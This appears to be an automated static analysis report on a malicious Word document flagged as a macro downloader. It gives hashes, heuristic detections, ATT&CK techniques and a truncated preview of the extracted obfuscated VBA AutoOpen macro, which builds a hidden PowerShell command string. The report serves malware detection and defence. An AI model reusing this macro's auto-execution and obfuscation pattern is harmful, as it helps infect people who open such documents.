Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5eb001a0079afe90…

MALICIOUS

Office (OLE)

212.5 KB Created: 2018-08-28 18:48:55 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 362f86ddf3333aa0199869921f93aed6 SHA-1: a9df85aa41044b9cb4187e10cdc96a85558495c6 SHA-256: 5eb001a0079afe900fd46019bba5a6f0c2efec66842312151cb210964015713b
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro utilizes Shell() and CreateObject() calls, indicating an intent to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Stratos-6680465-0' further supports this analysis.

Heuristics 7

  • ClamAV: Doc.Downloader.Stratos-6680465-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Stratos-6680465-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 67375 bytes
SHA-256: 52db04230376c3cdaf44eede4852ab58c993e3303b37a2a65638f1f0e3b96309
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub AutoOpen()
aocdj = NaN
Select Case "dk_yosvny86"
Case vtjh_y_a
sf_awni2 = NaN
Case "dk_yosvny86"
ay_yh = "$"
End Select
cwbqqbol_hg = NaN
Select Case "fxmjsa_l"
Case "fxmjsa_l"
ylvrbgzvi = "mbeouzpylgxcdyirjiqwaoudt"
Dim bnuay, reypb, nolkux, eetdeusl49 As String
bnuay = NaN
ay_yh = plyhqeosra + ay_yh + ylvrbgzvi + ajlnkg54
End Select
ieeintjm = NaN
If 2558 >= 5649 Then
Dim roudjabsm
roudjabsm = NaN
sicq = NaN
ooanpk = NaN
etraj_tdkrro = NaN
ElseIf 15 + 62 = -47 Then
einmoenw = NaN
yaessehqve = NaN
uujky = NaN
eai_aa1 = NaN
Else
iaab = "gnuu='e -';$i_ikukutqiuaoq"
ay_yh = xagtquyoi + ay_yh + iaab
End If
iuywwi = NaN
Select Case "ei_iuln"
Case 23161
Dim ozfulq As String
ozfulq = NaN
Case "ei_iuln"
ygp_xlblozzj = ay_yh
oxftmy = NaN
pfue_uo = "fedhybj"
xfaaazsay = NaN
ygp_xlblozzj = ygp_xlblozzj + pfue_uo
Case iiriq
bavrsu_ihqzv = NaN
End Select
klcpuvdwmo = NaN
Select Case 64 * 26
Case 1664
rgebwpgvr = "rzexc="
ikn_ea = NaN
ygp_xlblozzj = omxie + ygp_xlblozzj + rgebwpgvr
End Select
oueuksjvt = NaN
If 74 - 90 = -16 Then
ygp_xlblozzj = ygp_xlblozzj + "'hxua = G';$ylg"
End If
ryoy = NaN
If 4845 > 534 Then
ygp_xlblozzj = y_ooza + ygp_xlblozzj + "tt_txiirbhvmfauoyq"
ElseIf 67 * 4 = 390 Then
Else
uaaskcndytt = NaN
Dim tevkrjd As String
tevkrjd = NaN
End If
aeqpzcbu = NaN
Select Case "yzhncvcm"
Case "yzhncvcm"
ygp_xlblozzj = mpaeiyvfi4 + ygp_xlblozzj + "iouutza"
End Select
x_ofuysqea = NaN
If 58 * 55 = 2367 Then
ht_nhwuui = NaN
e_hgyguat = NaN
hgloigvy = NaN
Dim d_jcioq, itgqcdy_czj
d_jcioq = NaN
ElseIf 3100 > -1651 Then
nlbgufl = Environ("SystemRoot")
Else
kfgens_ao = NaN
fskzhdesdu = NaN
End If
uyxreya = NaN
Select Case "qqtvjdk"
Case "qqtvjdk"
yykrjaaxe76 = "ksissuvdnstxu='bx56 ';$ajzxcombxggqyow"
yodvrcx = NaN
ygp_xlblozzj = ygp_xlblozzj + yykrjaaxe76
End Select
aoaaianwy = NaN
Select Case 27 * 96
Case 2592
upfbcf7 = ygp_xlblozzj + yoogz
eil_r = NaN
upfbcf7 = upfbcf7 + "_"
End Select
Dim vxghdvr
vxghdvr = NaN
Select Case 76 * 41
Case iftypst
yiqp = NaN
Case 3116
sytdkgb = upfbcf7
ufqzpqt6 = NaN
yypr_yy = "msej_eyoiyezl_ygw"
htlef = NaN
sytdkgb = sytdkgb + yypr_yy + evfaay
End Select
eisn = NaN
If 96 + 97 = -1 Then
izbzlinda = NaN
hk_xfcieei = NaN
ogje_yo = NaN
ElseIf 56 * 86 = 4816 Then
iv_pya = "\sy"
nlbgufl = nlbgufl + iv_pya
Else
oyfgo = NaN
pdwl_iuassa = NaN
ylmyea = NaN
ypzpvtmwjy = NaN
End If
uiiu00 = NaN
Select Case 68 + 43
Case 22041
ayeyxh = NaN
Case 111
qqwqayewd = sytdkgb
ozaeque = NaN
qqwqayewd = qqwqayewd + "='ua + 1';$qlavooomysxwmpwlybe"
Case ukbnbsybb_u
eanay = NaN
End Select
Dim eadtvzro As String
eadtvzro = NaN
Select Case 15 * 43
Case 13617
lcxgoga = NaN
Case 645
seepijki = qqwqayewd + yiac
zvqtpnwxu = NaN
pjgzmeu = "yeglm"
qznkapovb = NaN
seepijki = seepijki + pjgzmeu + bhbsyehs1
Case 27388
uu_xyxe = NaN
End Select
wnapf = NaN
If 16 - 88 = 104 Then
kyxgqbtgd = NaN
miwazqghbtg = NaN
Else
seepijki = wpesgcl + seepijki + "iu='ecurs';$zrpgeyauleiiai"
End If
rdgsgxlo = NaN
Select Case 55 - 67
Case 5288
mdyyz = NaN
Case -12
seepijki = seepijki + "_ojmj7='s/eng';$ihaaydznb_vf"
Case 14922
boudbeharm = NaN
End Select
qgafkeuyz = NaN
Select Case "bynjxf_yi_a"
Case "bynjxf_yi_a"
t_u_mietka = seepijki
k_aifxkoyf = NaN
yyjkvs92 = "eiz"
bvgsjae = NaN
t_u_mietka = t_u_mietka + yyjkvs92 + pprobcbqrw
Case 4666
Dim z_ozmjsupyi
z_ozmjsupyi = NaN
End Select
yeo_aobq9 = NaN
Select Case 25 * 89
Case 2225
i_vcgcf0 = t_u_mietka
Dim ilhrjyxxle As String
ilhrjyxxle = NaN
i_vcgcf0 = i_vcgcf0 + "v"
Case 21800
xbpcofs_gpame2 = NaN
End Select
aybyuuc = NaN
ovusncgiu57 = NaN
If 7166 > 11971 Then
hwnsoardohr05 = NaN
eya_yurd = NaN
... (truncated)

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